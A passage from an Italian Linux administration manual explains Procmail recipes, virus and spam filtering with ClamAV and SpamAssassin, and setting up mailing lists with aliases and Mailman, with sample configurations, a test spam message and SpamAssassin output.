Procmail, nel suo utilizzo normale, viene avviato con i privilegi di un certo utente e serve per ricevere un messaggio di posta elettronica attraverso lo standard input, da depositare nel file appropriato che rappresenta la casella di posta in entrata di quello stesso utente. Per la precisione, qualsiasi sia la forma dei dati che vengono ricevuti in ingresso, questi vengono depositati tali e quali nella casella di posta.

```
cat messaggio | procmail
```

Il funzionamento di Procmail dipende dalla presenza e dal contenuto di un file di configurazione. Generalmente si considera solo il file '`~/.procmailrc`', di competenza dell'utente, proprio perché Procmail lo si intende uno strumento che deve gestire l'utente singolo.

Figura 45.95. Schema del funzionamento più semplice di Procmail.

Attraverso la configurazione, si può istruire Procmail in modo da selezionare i messaggi per depositarli in file differenti, in base a qualche criterio, così come è possibile utilizzare altri programmi per il controllo della presenza di virus o per l'individuazione di «spam», i quali aggiungono delle voci nell'intestazione dei messaggi, così che lo stesso Procmail possa poi separarli dai messaggi normali.

Figura 45.96. Una situazione tipica in cui Procmail si avvale di altri programmi per individuare i contenuti e sapere poi come separare i messaggi, recapitandoli in file differenti.

45.15.1 Configurazione di partenza e verifica del funzionamento

Per cominciare a comprendere l'uso di Procmail, occorre predisporre un file di configurazione iniziale ('`~/procmailrc`'), molto simile a quello seguente:

```
PATH=/usr/local/bin:/usr/bin:/bin
MAILDIR=$HOME/mail
DEFAULT=$MAILDIR/mbox
LOGFILE=$MAILDIR/procmail.log
```

Come si può intuire, vengono definite delle variabili di ambiente per il funzionamento di Procmail stesso. In particolare, la variabile ***MAILDIR*** rappresenta la directory in cui vengono depositati i file per il recapito dei messaggi, mentre ***DEFAULT*** rappresenta il file che deve ricevere i messaggi in modo predefinito. Eventualmente, la variabile ***DEFAULT*** potrebbe anche corrispondere a '`/var/mail/$LOGNAME`'.

Per la precisione, la directory rappresentata dalla variabile ***MAILDIR*** è la directory corrente durante il funzionamento di Procmail; pertanto, i file che vengono indicati con percorsi relativi, fanno riferimento a questa directory di partenza.

Avendo fatto questo, si può utilizzare un file contenente il testo seguente, per verificare il funzionamento di Procmail:

```
From tizio@brot.dg Wed Jul  5 12:13:59 2010 +0200
To: caio@brot.dg
Subject: ciao
Message-Id: <E1Fy4ON-0005yF-00@127.0.0.1>
From: tizio@brot.dg
Date: Wed, 05 Jul 2010 12:13:59 +0200

ciao
```

Supponendo che questo file si chiami '`messaggio`', si può vedere se Procmail lo può recapitare regolarmente:

$ **`cat messaggio | procmail`** [*Invio*]

Indipendentemente dal fatto che l'utente sia effettivamente '**`caio`**', dovrebbe trovare il messaggio nel file '`~/mail/mbox`', da come si vede nella configurazione stabilita. Ma più importante di questo, nel file '`~/mail/procmail.log`' si deve vedere cosa ha fatto Procmail:

```
From tizio@brot.dg Wed Jul  5 12:13:59 2010 +0200
 Subject: ciao
  Folder: /home/tizio/mail/mbox                             387
```

45.15.2 Attivazione di Procmail

Per svolgere il suo compito, Procmail deve essere avviato ogni volta che c'è un messaggio da recapitare a un certo utente.

Si parte dal presupposto che il sistema, senza Procmail, sia già in grado di recapitare i messaggi agli utenti, pur senza compiere analisi dei contenuti di questi. Quando si vuole inserire Procmail, quello che prima svolgeva il compito di MDA, dopo deve avvalersi a sua volta di Procmail per completare il recapito.

A seconda dei casi, può darsi che Procmail venga preso in considerazione in modo automatico dal sistema di recapito dei messaggi di posta elettronica, oppure che si debba intervenire all'interno di file '`~/.forward`'.

A titolo di esempio viene mostrato un estratto della configurazione di Postfix, dove viene richiesto l'uso di Procmail:

```
...
mailbox_command = procmail -a "$EXTENSION"
...
```

Quando invece il programma che gestisce la consegna dei messaggi ignora l'esistenza di Procmail, occorre utilizzare il file '`~/.forward`'. Potrebbe essere necessario utilizzare una delle due forme seguenti, ma si deve verificare con la documentazione del sistema MDA:

```
"|exec /usr/bin/procmail"
```

```
|/usr/bin/procmail
```

45.15.3 Esempi semplici di configurazione

Il file di configurazione di Procmail contiene, oltre alle direttive per assegnare un valore a delle variabili di ambiente, delle «ricette» (*recipe*) con cui si dice cosa fare dei messaggi elaborati. Si osservi l'esempio seguente:

```
PATH=/usr/local/bin:/usr/bin:/bin
MAILDIR=$HOME/mail
DEFAULT=$MAILDIR/mbox
LOGFILE=$MAILDIR/procmail.log
#
# Lista "scuola"
#
:0 c
* ^To:.*scuola@lists\.linux\.it
didattica
```

In questo caso si mostra un file completo, il quale, dopo l'assegnamento delle variabili di ambiente e dopo un'annotazione (commento) contiene una ricetta:

```
:0 c
* ^To:.*scuola@lists\.linux\.it
didattica
```

Le ricette si distinguono perché iniziano sempre con la sigla '`:0`'. In questo caso, la ricetta indica che si vuole mettere una copia dei messaggi che risultano diretti all'indirizzo *`scuola@lists.linux.it`* nel file '`didattica`' (precisamente il file '`$MAILDIR/didattica`').

Si osservi che '`didattica`' potrebbe anche essere una directory, ma in tal caso ci sarebbe da specificare se salvare i messaggi in formato «MH» o *maildir*.

Figura 45.105. Spiegazione dettagliata della ricetta.

Nell'esempio seguente, invece, si vede la stessa ricetta, con la differenza che manca la «c», per fare in modo che i messaggi individuati dalla condizione vengano messi solo nel file o nella directory '`didattica`':

```
:0
* ^To:.*scuola@lists\.linux\.it
didattica
```

L'esempio successivo riguarda l'uso di un programma antivirus e si avvale di due ricette in sequenza:

```
#
# Scan for viruses
#
:0
VIRUS=|clamdscan --no-summary --stdout -

:0
* VIRUS ?? ^.*FOUND
virus
```

La prima ricetta richiede di avviare il programma '**`clamdscan`**' (con le opzioni che si vedono), inviandogli il messaggio attraverso lo standard input. Il risultato della scansione è un testo descrittivo che viene emesso dal programma attraverso lo standard output, che così viene assegnato alla variabile ***VIRUS***. La seconda ricetta prende lo stesso messaggio e verifica che la variabile ***VIRUS*** contenga la stringa '**`FOUND`**' alla fine: se c'è la corrispondenza, il messaggio viene messo nel file o nella directory '`virus`'.

Figura 45.108. Spiegazione dettagliata delle ricette.

inizio prima ricetta
:0
variabile a cui assegnare lo standard output del comando
VIRUS=|clamdscan --no-summary --stdout -
comando da esegure che riceve dallo standard input il messaggio da analizzare e restituisce attraverso lo standard output un messaggio da verificare, tipo:
`stream: ClamAV-Test-File FOUND`

inizio seconda ricetta
:0
dichiara l'inizio di una condizione
*** VIRUS ??** **^.*FOUND**
espressione regolare da applicare al contenuto della variabile che appare alla sinistra
l'espressione regolare verifica la presenza della parola FOUND alla fine del contenuto della variabile
viene confrontato il contenuto della variabile con l'espressione regolare che appare alla destra
virus
file o directory dove depositare i messaggi che corrispondono alla condizione

L'esempio seguente riguarda due ricette per utilizzare SpamAssassin, allo scopo di valutare i messaggi e «marchiarli» come *spam*:

```
#
# SpamAssassin
#
:0fw: spamassassin.lock
* < 256000
| spamassassin

:0
* ^X-Spam-Level: \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
spam
```

Nella prima ricetta si vede l'uso delle opzioni '**f**' e '**w**'. La lettera '**f**' serve per fare in modo che il messaggio, inviato al programma attraverso il condotto che si vede dopo la condizione, venga modificato e passato alle ricette successive con tale modifica. La lettera '**w**' richiede di attendere l'esecuzione del programma e di verificare il valore di uscita dello stesso: se si ottiene un errore, occorre rifiutare le modifiche al messaggio, il quale così passa intatto alle ricette successive.

Dopo le opzioni, appare il segno di due punti ('`:`'), perché poi viene indicato il nome di un file, '`spamassassin.lock`', che viene creato nel momento dell'utilizzo della ricetta e cancellato subito dopo. La presenza di questo file serve a evitare che il programma '**spamassassin**' venga avviato quando ne esiste già un altro che non ha ancora completato il suo compito; pertanto, all'esecuzione della ricetta, se il file esiste già, si attende che il file scompaia prima di procedere (in inglese si definisce: *lock file*).

La condizione della prima ricetta si avvera se il messaggio ha una dimensione inferiore a 256000 byte (ovvero 250 Kibyte). Ciò serve a evitare di scandire messaggi di dimensioni troppo grandi. Tali messaggi più grandi non vengono così controllati dal programma '**spamassassin**'.

Nella prima ricetta, il programma '**spamassassin**' aggiunge delle intestazioni ai messaggi, in particolare una denominata '**X-Spam-Level:**', contenente una fila di asterischi: più sono gli asterischi, più è probabile che si tratti di messaggi indesiderabili. Nella seconda ricetta, infatti, si verifica la presenza di un'intestazione di questo tipo: se appaiono almeno 15 asterischi, il messaggio viene messo nel file o nella directory '`spam`'.

Per la descrizione dettagliata della sintassi da usare per la costruzione delle ricette di Procmail, occorre leggere i documenti: *procmailrc(5)* e *procmailex(5)*.

45.16 SpamAssassin

SpamAssassin è un sistema sofisticato per l'analisi dei messaggi di posta elettronica, allo scopo di individuare quelli che sono da ritenere *spam*, ovvero messaggi privi di alcun valore.

Il sistema di SpamAssassin può articolarsi in modi differenti; qui viene preso in considerazione semplicemente l'uso attraverso il programma '**spamassassin**', tralasciando la possibilità di usare la coppia '**spamd**'/'**spamc**'.

SpamAssassin ha la capacità di «imparare» a selezionare i messaggi in base a esempi reali di messaggi *spam* e di messaggi «buoni» (*ham*). Per accumulare queste informazioni può avvalersi di un DBMS esistente, oppure può semplicemente salvare dei file nella directory '`~/.spamassassin/`'. In questo capitolo si considera solo tale ultima possibilità.

45.16.1 Configurazione di SpamAssassin

SpamAssassin, per distinguere ciò che è da intendersi come *spam*, utilizza dei file di configurazione che possono trovarsi in '`/usr/share/spamassassin/`' e hanno estensione '`.cf`'. Questi file possono essere aggiornati, attraverso il programma '**`sa-update`**', il quale però li scarica all'interno di '`/var/lib/spamassassin/...`'; pertanto, se esistono i file all'interno di '`/var/lib/spamassassin/`', vengono ignorati quelli all'interno di '`/usr/share/spamassassin/`'.

Per modificare questa configurazione non si deve intervenire nelle directory appena descritte, mentre è possibile agire all'interno del file '`/etc/spamassassin/local.cf`' ed eventualmente nei file personali '`~/.spamassassin/user_prefs`'.

Per le situazioni comuni, non è necessario intervenire nella configurazione e l'uso di '**`sa-update`**' è più che sufficiente.

```
sa-update [opzioni]
```

Naturalmente, '**`sa-update`**' va usato con i privilegi dell'utente '**`root`**' e non servono opzioni se è stato compilato con i valori predefiniti corretti.

`#` **`sa-update`** [*Invio*]

45.16.2 Cosa fa SpamAssassin

Qui si intende mostrare l'uso del programma '**`spamassassin`**', il quale riceve dallo standard input un messaggio di posta elettronica e, dopo la verifica, gli aggiunge delle intestazioni con cui è possibile qualificarlo:

```
spamassassin [opzioni] < file_messaggio > file_modificato
```

Nella documentazione originale si fa riferimento al programma '**`spamassassin-run`**', ma in generale si usa solo il nome '**`spamassassin`**'.

A titolo di esempio si veda cosa succede con un file che ha il contenuto seguente:

```
From tizio@brot.dg Thu Jul  6 19:17:20 2010 +0200
Envelope-to: caio@brot.dg
Delivery-date: Thu, 06 Jul 2010 19:17:20 +0200
To: caio@brot.dg
Subject: ciao
Message-Id: <E1FyXTb-000093-00@127.0.0.1>
From: caio@brot.dg
Date: Thu, 06 Jul 2010 19:17:19 +0200

ciao
```

Supponendo che si tratti del file '`messaggio`', si può usare '**`spamassassin`**' per controllarlo e ottenere il file '`messaggio_controllato`':

`$` **`spamassassin < messaggio > messaggio_controllato`**[*Invio*]

In questo caso, SpamAssassin dovrebbe considerarlo un messaggio normale e in tal caso, si limita a segnalarlo con delle intestazioni aggiuntive. Ecco come dovrebbe apparire il file '`messaggio_controllato`':

```
From tizio@brot.dg Thu Jul  6 19:17:20 2010 +0200
X-Spam-Checker-Version: SpamAssassin 3.1.1 (2006-03-10) on nanohost
X-Spam-Level:
X-Spam-Status: No, score=0.5 required=5.0 tests=NO_REAL_NAME,NO_RECEIVED,
        NO_RELAYS autolearn=no version=3.1.1
Envelope-to: caio@brot.dg
Delivery-date: Thu, 06 Jul 2010 19:17:20 +0200
To: caio@brot.dg
Subject: ciao
Message-Id: >E1FyXTb-000093-00@127.0.0.1>
From: caio@brot.dg
Date: Thu, 06 Jul 2010 19:17:19 +0200

ciao
```

In presenza di un messaggio che SpamAssassin considera essere *spam*, le cose vanno diversamente: le intestazioni aggiuntive sono più corpose, inoltre il messaggio originale viene allegato in un rapporto esplicativo. Ecco il file di partenza, contenente un elenco ripetuto di nomi di prodotti farmaceutici che spesso qualcuno tenta di spacciare attraverso la rete:

```
From tizio@brot.dg Thu Jul  6 19:17:20 2010 +0200
Envelope-to: caio@brot.dg
Delivery-date: Thu, 06 Jul 2010 19:17:20 +0200
To: caio@brot.dg
Subject: need cialias, levitra, soma, valium, vicodin?
Message-Id: <E1FyXTb-000093-00@127.0.0.1>
From: caio@brot.dg
Date: Thu, 06 Jul 2010 19:17:19 +0200

cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
...
```

Ecco il risultato dopo l'elaborazione con '**`spamassassin`**':

```
From tizio@brot.dg Thu Jul  6 19:17:20 2010 +0200
Received: from localhost by nanohost
        with SpamAssassin (version 3.1.1);
        Thu, 06 Jul 2010 19:27:07 +0200
From: caio@brot.dg
To: caio@brot.dg
Subject: need cialias, levitra, soma, valium, vicodin?
Date: Thu, 06 Jul 2010 19:17:19 +0200
Message-Id: <E1FyXTb-000093-00@127.0.0.1>
X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 3.1.1 (2006-03-10) on nanohost
X-Spam-Level: ******
X-Spam-Status: Yes, score=6.3 required=5.0 tests=AWL,DRUGS_ANXIETY,
        DRUGS_ANXIETY_EREC,DRUGS_ERECTILE,DRUGS_MANYKINDS,DRUGS_MUSCLE,
        DRUGS_PAIN,NO_REAL_NAME,NO_RECEIVED,NO_RELAYS,SUBJECT_DRUG_GAP_C,
        SUBJECT_DRUG_GAP_L,SUBJECT_DRUG_GAP_S,SUBJECT_DRUG_GAP_VA,
        SUBJECT_DRUG_GAP_VIC autolearn=no version=3.1.1
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_44AD47EB.2E5AF19D"

This is a multi-part message in MIME format.

------------=_44AD47EB.2E5AF19D
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 8bit

Spam detection software, running on the system "nanohost", has
identified this incoming email as possible spam.  The original message
has been attached to this so you can view it (if it isn't spam) or label
similar future email.  If you have any questions, see
the administrator of that system for details.

Content preview:  cialias, levitra, soma, valium, vicodin cialias,
  levitra, soma, valium, vicodin cialias, levitra, soma, valium, vicodin
  cialias, levitra, soma, valium, vicodin cialias, levitra, soma, valium,
  vicodin cialias, levitra, soma, valium, vicodin cialias, levitra, soma,
  valium, vicodin cialias, levitra, soma, valium, vicodin ... [...]

Content analysis details:   (6.3 points, 5.0 required)

 pts rule name              description
---- ---------------------- --------------------------------------------------
 0.6 NO_REAL_NAME           From: does not include a real name
 2.4 SUBJECT_DRUG_GAP_VA    Subject contains a gappy version of 'valium'
 1.8 SUBJECT_DRUG_GAP_L     Subject contains a gappy version of 'levitra'
 2.7 SUBJECT_DRUG_GAP_VIC   Subject contains a gappy version of 'vicodin'
 0.4 SUBJECT_DRUG_GAP_S     Subject contains a gappy version of 'soma'
 1.0 SUBJECT_DRUG_GAP_C     Subject contains a gappy version of 'cialis'
-0.0 NO_RELAYS              Informational: message was not relayed via SMTP
```

```
 0.1 DRUGS_ERECTILE         Refers to an erectile drug
 0.0 DRUGS_ANXIETY          Refers to an anxiety control drug
-0.0 NO_RECEIVED            Informational: message has no Received headers
 0.0 DRUGS_MUSCLE           Refers to a muscle relaxant
 0.0 DRUGS_PAIN             Refers to a pain relief drug
 0.1 DRUGS_ANXIETY_EREC     Refers to both an erectile and an anxiety drug
 0.0 DRUGS_MANYKINDS        Refers to at least four kinds of drugs
-2.9 AWL                    AWL: From: address is in the auto white-list



------------=_44AD47EB.2E5AF19D
Content-Type: message/rfc822; x-spam-type=original
Content-Description: original message before SpamAssassin
Content-Disposition: inline
Content-Transfer-Encoding: 8bit

Envelope-to: caio@brot.dg
Delivery-date: Thu, 06 Jul 2010 19:17:20 +0200
To: caio@brot.dg
Subject: need cialias, levitra, soma, valium, vicodin?
Message-Id: <E1FyXTb-000093-00@127.0.0.1>
From: caio@brot.dg
Date: Thu, 06 Jul 2010 19:17:19 +0200

cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
cialias, levitra, soma, valium, vicodin
...




------------=_44AD47EB.2E5AF19D--
```

La prima volta che un certo utente usa SpamAssassin, il programma crea automaticamente la directory '`~/.spamassassin/`' con la configurazione predefinita e altri file, che servono per le proprie annotazioni interne.

45.16.3 Filtrare i messaggi automaticamente

Per filtrare i messaggi di posta elettronica con SpamAssassin, si può intervenire nella configurazione del MDA (*Mail delivery agent*), oppure, in modo più semplice e generalizzato, si può fare affidamento su Procmail (sezione 45.15). Quelle che seguono sono le direttive che si possono inserire nel file '`~/.procmailrc`' per questo scopo, tratte dalla documentazione di SpamAssassin stesso, con qualche piccola semplificazione:

```
# SpamAssassin sample procmailrc
#
# Pipe the mail through spamassassin (replace 'spamassassin' with 'spamc'
# if you use the spamc/spamd combination)
#
# The condition line ensures that only messages smaller than 250 kB
# (250 * 1024 = 256000 bytes) are processed by SpamAssassin. Most spam
# isn't bigger than a few k and working with big messages can bring
# SpamAssassin to its knees.
#
# The lock file ensures that only 1 spamassassin invocation happens
# at 1 time, to keep the load down.
#
:0fw: spamassassin.lock
* < 256000
| spamassassin

# Mails with a score of 15 or higher are almost certainly spam (with 0.05%
# false positives according to rules/STATISTICS.txt). Let's put them in a
# different mbox. (This one is optional.)
:0:
* ^X-Spam-Level: \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
spam

# Work around procmail bug: any output on stderr will cause the "F" in "From"
# to be dropped.  This will re-add it.
:0
* ^^rom[ ]
{
  LOG="*** Dropped F off From_ header! Fixing up. "

  :0 fhw
  | sed -e '1s/^/F/'
}
```

Come si vede, il riconoscimento dei messaggi da scartare si basa sulla quantità di asterischi nell'intestazione '**`X-Spam-Level:`**'. In questo modo, i messaggi che raggiungono i 15 asterischi vengono inseriti nella cartella '`spam`', mentre gli altri vanno regolarmente nella cartella predefinita.

45.16.4 Autoapprendimento

Si può istruire SpamAssassin a distinguere i messaggi «buoni» da quelli «cattivi», attraverso una catalogazione statistica di messaggi sicuramente buoni e di altri sicuramente cattivi. Questo lavoro viene svolto attraverso '**`sa-learn`**' e si avvale di una base di dati, che può essere un DBMS vero e proprio, oppure un insieme di file gestito autonomamente da SpamAssassin.

Il procedimento di apprendimento è molto semplice, ma richiede attenzione e organizzazione, per poter essere proficuo. Pertanto, si rimanda alla pagina di manuale *sa-learn(1)*.

45.17 Liste di posta elettronica

Una lista di posta elettronica, o *mailing-list*, o più semplicemente ***lista***, è un servizio attraverso cui un gruppo di persone può inviare dei messaggi di posta elettronica a tutti i partecipanti, creando in pratica un mezzo per discutere di un certo argomento. Sotto questo aspetto, la *mailing-list* compie lo stesso servizio di un *newsgroup*, con la differenza che ci si deve iscrivere presso il servente (o il «robot») che offre il servizio e che i messaggi vengono inviati a tutti i partecipanti iscritti.

Dal momento che la lista di posta elettronica richiede questa forma di iscrizione, tende a escludere i visitatori occasionali (o casuali), ma permette ugualmente l'accesso a un numero di utenti più vasto: tutti quelli che hanno la possibilità di usare la posta elettronica. Infatti, per quanto riguarda i *newsgroup*, sono rari gli utenti di Internet che possono accedere a tutti i gruppi di discussione.

Il servizio di una lista di posta elettronica viene svolto normalmente da un programma che si occupa di ricevere la posta da un certo indirizzo e conseguentemente di rispedire i messaggi a tutti gli iscritti. Per iscriversi occorre inviare un messaggio speciale al programma che lo gestisce, contenente il nome della lista e l'indirizzo di posta elettronica di colui che si iscrive; in modo analogo si interviene per cancellare l'iscrizione.

Dal punto di vista amministrativo, si distinguono due tipi di liste: moderate e non moderate. Una lista moderata è quella in cui tutti i messaggi, prima di essere ritrasmessi agli iscritti, vengono controllati da uno o più moderatori; l'altro tipo di lista non viene controllata da alcuno.

45.17.1 Lista elementare

Prima di vedere il funzionamento di un applicativo organizzato per la gestione di una lista, conviene apprenderne i rudimenti realizzandone una elementare attraverso la gestione degli alias.

Se l'obiettivo che ci si prefigge è solo quello di definire un indirizzo di posta elettronica che serva come punto di riferimento per il proseguimento (*forward*) dei messaggi a un elenco di persone, si può agire in due modi differenti: modificando il file '`/etc/aliases`', oppure creando un utente fittizio che possieda nella sua directory personale il file '`~/.forward`'.

Il secondo caso, quello dell'utente fittizio, è il più semplice da comprendere. Se si suppone di voler creare la lista '**`prova`**', basta registrare un utente con lo stesso nome nel sistema operativo, facendo opportunamente in modo che questo non abbia una parola d'ordine valida e nemmeno una shell funzionante. Nella sua directory personale si crea e si gestisce il file '`~/.forward`' nel quale vanno inseriti gli indirizzi degli utenti iscritti alla lista '**`prova`**'. È

tutto qui; spetta all'amministratore del servizio l'aggiornamento manuale di questo file. Eventualmente, questo amministratore potrebbe essere un utente diverso dall'utente '**root**', per cui si potrebbe anche fare in modo che l'utenza '**prova**' possa funzionare regolarmente (con parola d'ordine e shell), lasciandola usare a tale persona.

Il metodo della creazione dell'alias è più efficace. Generalmente si crea un file contenente l'elenco degli indirizzi degli iscritti alla lista e si fa in modo che un alias faccia riferimento a tutti questi indirizzi. Per esempio, se nel file '/etc/aliases' viene inserita la riga seguente,

```
prova:          :include:/var/liste/prova/iscritti
```

si fa in modo che tutti i messaggi diretti all'indirizzo '**prova**' siano poi rinviati a tutti gli indirizzi indicati nel file '/var/liste/prova/iscritti'. Dal momento che con questo sistema si hanno maggiori possibilità nella definizione dei nomi, si può aggiungere convenientemente un alias per l'amministratore del servizio, come nell'esempio seguente:

```
prova:          :include:/var/liste/prova/iscritti
prova-admin     daniele
```

A seconda delle caratteristiche specifiche del MTA utilizzato, può darsi che sia necessario usare il comando '**newaliases**' dopo una modifica del file '/etc/aliases'. Nel caso fosse così, è importante ricordarsene.

In entrambi i casi visti è possibile mantenere un archivio dei messaggi ricevuti dalla lista, con la semplice aggiunta di un indirizzo che faccia riferimento a un file su disco. Per esempio, il file '~prova/.forward' potrebbe iniziare nel modo seguente:

```
"/home/prova/archivio"
Tizio Tizi <tizio@dinkel.brot.dg>
Caio Cai <caio@dinkel.brot.dg>
...
```

Nello stesso modo, il file '/var/liste/prova/iscritti' potrebbe iniziare come segue:

```
"/var/liste/prova/archivio"
Tizio Tizi <tizio@dinkel.brot.dg>
Caio Cai <caio@dinkel.brot.dg>
...
```

Bisogna fare attenzione ai permessi. È molto probabile che il file venga creato con i privilegi dell'utente '**mail**'. La prima volta conviene fare in modo che la directory che deve accogliere tale file abbia tutti i permessi necessari alla scrittura da parte di chiunque, in modo da vedere cosa viene creato effettivamente. Successivamente si possono regolare i permessi in modo più preciso.

45.17.2 Mailman

Mailman[16] è un sistema per la gestione di una lista di posta elettronica, gestito attraverso programmi CGI (capitolo 46). Questo tipo di lista di posta elettronica dipende pertanto, oltre che da un MTA adatto, anche da un servente HTTP (capitolo 46) in grado di consentire il funzionamento di programmi CGI; inoltre richiede di configurare Cron per la gestione delle operazioni periodiche.

Nella descrizione che qui viene fatta di Mailman, si trascura completamente, o quasi, ciò che riguarda la configurazione di Cron, dell'MTA e del servente HTTP, perché è molto probabile che la propria distribuzione GNU sia in grado di predisporre tutto questo in modo automatico, nel momento dell'installazione del pacchetto che corrisponde a questo applicativo. Eventualmente si può leggere la documentazione originale di Mailman che dovrebbe essere accessibile a partire da ⟨*http://www.gnu.org/software/mailman/mailman.html* ⟩.

45.17.2.1 Privilegi durante il funzionamento

Quando un programma di Mailman viene messo in funzione, dovrebbe acquisire privilegi limitati. Per questo, di solito gli si associa un utente e un gruppo particolari, che potrebbero corrispondere a un nome del tipo '**`mailman`**', oppure '**`list`**'. In condizioni normali, se si installa Mailman da un pacchetto predisposto per la propria distribuzione GNU, tutto dovrebbe essere sistemato in modo automatico, compreso l'aggiornamento del file '`/etc/aliases`', con la ridirezione della posta elettronica destinata a questo utente fittizio, verso l'utente '**`root`**'.

45.17.2.2 Configurazione

La configurazione particolare di Mailman è contenuta in un file denominato '`mm_cfg.py`', che potrebbe trovarsi nella directory '`/etc/mailman/`'. Come suggerisce l'estensione, si tratta di uno script di Python.

La parte più significativa di questo file riguarda la dichiarazione di alcune variabili, come si vede dall'estratto seguente:

```
##############################################################
# Put YOUR site-specific configuration below, in mm_cfg.py . #
# See Defaults.py for explanations of the values.            #

DEFAULT_HOST_NAME = 'dinkel.brot.dg'
DEFAULT_URL       = 'http://dinkel.brot.dg/cgi-bin/mailman'
DELIVERED_BY_URL  = '/doc/mailman/images/mailman.jpg'

MAILMAN_OWNER     = 'mailman-owner@%s' % DEFAULT_HOST_NAME

PUBLIC_ARCHIVE_URL = '/pipermail'
PRIVATE_ARCHIVE_URL = '/mailman/private'

USE_ENVELOPE_SENDER = 0
```

Per prima cosa, si può osservare che i programmi CGI di Mailman dovrebbero essere accessibili a partire da *`http://dinkel.brot.dg/cgi-bin/mailman/`*; pertanto, il servente

HTTP deve risultare configurato per consentire l'accesso in questo modo a tali file. In base all'esempio, si può verificare che ciò sia così provando a interrogare l'indirizzo *http://dinkel.brot.dg/cgi-bin/mailman/admin*, dal quale si deve ottenere una pagina di informazioni sull'amministrazione delle liste.

Come si può intuire dalla configurazione, si definisce che l'amministratore del sistema Mailman si chiama *mailman-owner@...*, pertanto è necessario definire a chi deve corrispondere effettivamente questo indirizzo, intervenendo nel file '/etc/aliases' e avviando successivamente '**newaliases**' (se necessario). Supponendo che si tratti effettivamente dell'utente '**tizio**', potrebbe essere una riga come quella seguente:

```
mailman-owner: tizio
```

Infine, è necessario definire una parola d'ordine per l'amministrazione complessiva. Per questo si usa il programma '**mmsitepass**':

mmsitepass [*Invio*]

New password: ***digitazione_all'oscuro*** [*Invio*]

Again to confirm password: ***digitazione_all'oscuro*** [*Invio*]

In questo modo, la parola d'ordine viene annotata in modo cifrato per evitare che possa essere individuata facilmente.

45.17.2.3 Creazione e cancellazione di una lista

La creazione di una lista di Mailman è guidata dal programma '**newlist**', che si usa in pratica come nell'esempio seguente, in cui si crea la lista *prova@...*:

newlist [*Invio*]

Enter the name of the new list: **prova** [*Invio*]

Enter the email of the person running the list: **caio@dinkel.brot.dg** [*Invio*]

Initial prova password: ***digitazione_all'oscuro*** [*Invio*]

```
Entry for aliases file:

## prova mailing list
## created: 29-Aug-2002 root
prova:                "|/var/lib/mailman/mail/wrapper post prova"
prova-admin:          "|/var/lib/mailman/mail/wrapper mailowner prova"
prova-request:        "|/var/lib/mailman/mail/wrapper mailcmd prova"
prova-owner:          prova-admin

Hit enter to continue with prova owner notification...
```

Come si vede dal messaggio che si ottiene, è necessario intervenire poi manualmente nel file '/etc/aliases', per aggiungere alcune righe. In questo modo, gli indirizzi *prova@...*, *prova-admin@...*, *prova-request@...* e *prova-owner@...* possono poi funzionare regolarmente per la gestione e l'accesso alla lista.

Per eliminare una lista, si procede in modo analogo, con l'aiuto del programma '**rmlist**', che se usato con l'opzione '**-a**', cancella anche l'archivio dei messaggi:

rmlist -a prova [*Invio*]

Infine, è possibile consultare rapidamente l'elenco degli iscritti a una lista con il comando '**list_members**':[17]

list_members prova [*Invio*]

45.17.2.4 Amministrazione della lista

Mailman è fatto per essere utilizzato prevalentemente attraverso un navigatore, con il protocollo HTTP. Per verificare l'esistenza della lista appena creata, basta consultare il programma CGI '**admin**' che, secondo la configurazione già vista in precedenza, dovrebbe essere accessibile all'indirizzo *http://dinkel.brot.dg/cgi-bin/mailman/admin*. Ciò che si dovrebbe vedere è rappresentato dal listato seguente:

```
                  dinkel.brot.dg mailing lists - Admin Links

    Welcome!

    Below is the collection of publicly-advertised mailman mailing lists
    on dinkel.brot.dg. Click on a list name to visit the configuration
    pages for that list. To visit the administrators configuration page
    for an unadvertised list, open a URL similar to this one, but with a
    '/' and the list name appended.

    General list information can be found at the mailing list overview
    page.

    (Send questions and comments to mailman-owner@dinkel.brot.dg.)


    List Description
    Prova [no description available]
```

Per configurare meglio la lista *prova@...* è sufficiente seguire il riferimento ipertestuale che si trova in corrispondenza del nome che appare sulla pagina, il quale porta in pratica all'indirizzo *http://dinkel.brot.dg/cgi-bin/mailman/admin/prova*. Come spiega la stessa pagina, se esistono delle liste non pubblicizzate, la loro configurazione si raggiunge in questo modo, mettendo il loro nome dopo quello del programma CGI '**admin**'.

```
Prova Administrative Authentication

                                        List Administrative Password:

______________________________
Let me in...

Important: From this point on, you must have cookies enabled in your
browser, otherwise no administrative changes will take effect.

Session cookies are used in Mailman's administrative interface so that
you don't need to re-authenticate with every administrative operation.
This cookie will expire automatically when you exit your browser, or
you can explicitly expire the cookie by hitting the Logout link under
Other Administrative Activities (which you'll see once you
successfully log in).
```

La pagina che si ottiene serve a richiedere l'identificazione dell'amministratore della lista in base alla parola d'ordine, come inserito quando è stato utilizzato il programma '**`newlist`**'. Superata questa fase si raggiunge la pagina di configurazione vera e propria, che corrisponde però allo stesso indirizzo precedente.[18]

```
Prova mailing list administration
General Options Section

     ----------------------------------------------------------------------

         Configuration Categories          Other Administrative Activities
     * General Options                    * Tend to pending administrative
     * Membership Management                requests
     * Privacy Options                    * Go to the general list
     * Regular-member (non-digest)          information page
       Options                            * Edit the HTML for the public list
     * Digest-member Options                pages
     * Bounce Options                     * Go to list archives
     * Archival Options                   * Logout
     * Mail-News and News-Mail gateways
     * Auto-responder

     ----------------------------------------------------------------------

   Make your changes below, and then submit them using the button at the
   bottom. (You can change your password there, too.)

   General Options
    Fundamental list characteristics, including descriptive info and basic
    behaviors.
            Description                            Value
    The public name of this list
       (make case-changes only).  Prova___________________________________
```

(Details)	
The list admin's email address - having multiple admins/addresses (on separate lines) is ok. (Details)	caio@dinkel.brot.dg
A terse phrase identifying this list. (Details)	
